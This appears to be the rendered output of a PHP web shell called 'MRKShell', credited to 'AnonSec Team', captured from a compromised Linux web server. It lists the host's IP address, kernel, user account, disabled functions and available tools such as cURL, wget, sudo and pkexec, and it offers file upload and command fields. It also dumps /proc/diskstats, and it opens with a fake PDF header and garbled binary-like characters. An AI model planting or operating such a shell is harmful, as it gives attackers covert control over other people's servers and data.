...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/diskstats
 259       0 nvme0n1 1922298039 15662929 71522892533 232998431 381732044 307345538 83854714562 2391962880 0 379093354 2624961311 0 0 0 0
 259       1 nvme0n1p1 3579931 581938 410487746 593286 644015 8877104 78211742 15634187 0 1367600 16227474 0 0 0 0
 259       2 nvme0n1p2 55353 4058 6487882 6390 2088 4698 280908 31534 0 6989 37925 0 0 0 0
 259       3 nvme0n1p3 1918652923 15076933 71105705753 232397426 357030996 298463736 83776221912 2310813490 0 368389269 2543210917 0 0 0 0
 259       4 nvme1n1 280603233 14730759 18951461489 85290640 381553906 307523676 83854714562 2483524064 0 299143368 2568814704 0 0 0 0
 259       5 nvme1n1p1 3035297 388183 404536618 285288 642254 8878865 78211742 18841615 0 1482292 19126904 0 0 0 0
 259       6 nvme1n1p2 49443 4058 6364068 8258 2088 4698 280908 55878 0 7542 64137 0 0 0 0
 259       7 nvme1n1p3 277508584 14338518 18540350699 84992124 356854619 298640113 83776221912 2399174882 0 282807699 2484167007 0 0 0 0
   9       1 md1 13910 0 285530 8022 6334 0 280456 71663 0 3313 79685 0 0 0 0
   9       0 md0 1298698 0 10515792 708265 9462649 0 78153272 1749782620 0 2983318 1750490885 0 0 0 0
   9       2 md2 2074639523 0 70326211210 384562788 631537456 0 83684403272 2078223138 0 418482700 2462785926 0 0 0 0

Anon7 - 2022
AnonSec Team